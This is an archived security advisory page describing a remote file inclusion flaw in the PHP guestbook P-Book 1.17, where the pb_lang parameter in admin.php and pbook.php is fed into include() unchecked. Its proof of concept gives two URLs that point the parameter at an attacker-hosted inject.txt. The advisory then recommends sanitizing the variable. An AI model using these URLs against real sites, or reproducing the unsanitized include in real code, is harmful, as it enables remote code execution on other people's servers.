|
 |
| SecurityReason | ||
| WLB | ||
| Services | ||
| RSS | ||
| Corporate | ||
| Note | ||
If you have found a vulnerability, please send to our SecurityAlert Database : |
||
Home  SecurityAlert Database |
||||
SecurityAlert : 1811 CVE : CVE-2006-5667 SecurityRisk : High  (About) Remote Exploit : Yes Local Exploit : No Exploit Available : Yes Credit : Ahmad Maulana a.k.a Matdhule Published : 07.11.2006
Advisory Content : ECHO_ADV_56$2006 ------------------------------------------------------------------------ ----- [ECHO_ADV_46$2006] P-Book <= 1.17 (pb_lang) Remote File Inclusion ------------------------------------------------------------------------ ------ Author : Ahmad Maulana a.k.a Matdhule Date Found : October, 18th 2006 Location : Indonesia, Jakarta web : http://advisories.echo.or.id/adv/adv56-matdhule-2006.txt Critical Lvl : Highly critical Impact : System access Where : From Remote ------------------------------------------------------------------------ --- Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ PHP Live Helper Application : P-Book version : 1.17 URL : http://www.PPoPn.net ------------------------------------------------------------------------ --- Vulnerability: ~~~~~~~~~~~~~~ I found vulnerability script admin.php -----------------------admin.php---------------------- .... <? $time = $reload * 60; include("$pb_lang/language.php"); ... ---------------------------------------------------------- Input passed to the "pb_lang" parameter in admin.php is not properly verified before being used. This can be exploited to execute arbitrary PHP code by including files from local or external resources. Also affected files: pbook.php Proof Of Concept: ~~~~~~~~~~~~~~~ http://target.com/[p-book_path]/admin.php?pb_lang=http://attacker.com/in ject.txt? http://target.com/[p-book_path]/pbook.php?pb_lang=http://attacker.com/in ject.txt? Solution: ~~~~~~~ - Sanitize variable $pb_lang on affected files. ------------------------------------------------------------------------ --- Shoutz: ~~~ ~ solpot a.k.a chris, J4mbi H4ck3r thx for the hacking lesson :) ~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous ~ bius, lapets, ghoz, t4mbun_hacker, NpR, h4ntu, thama ~ newbie_hacker (at) yahoogroups (dot) com [email concealed], jasakom_perjuangan (at) yahoogroups (dot) com [email concealed] ~ Solpotcrew Comunity (#nyubicrew), #e-c-h-o @irc.dal.net ------------------------------------------------------------------------ --- Contact: ~~~~ matdhule[at]gmail[dot]com -------------------------------- [ EOF ]----------------------------------  Feedback : If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com. |
||||
| Alert | ||
Allow attacker to denial of service apache 2.2.17 server |
||
| Apache |  |
|
| PHP | |
|
» libzip 0.9.3 |
||
| ADT | ||
Protect your family and valuables with Home Security Systems |
||
- 2011-05-13| Copyright © SecurityReason.com. All Rights Reserved. |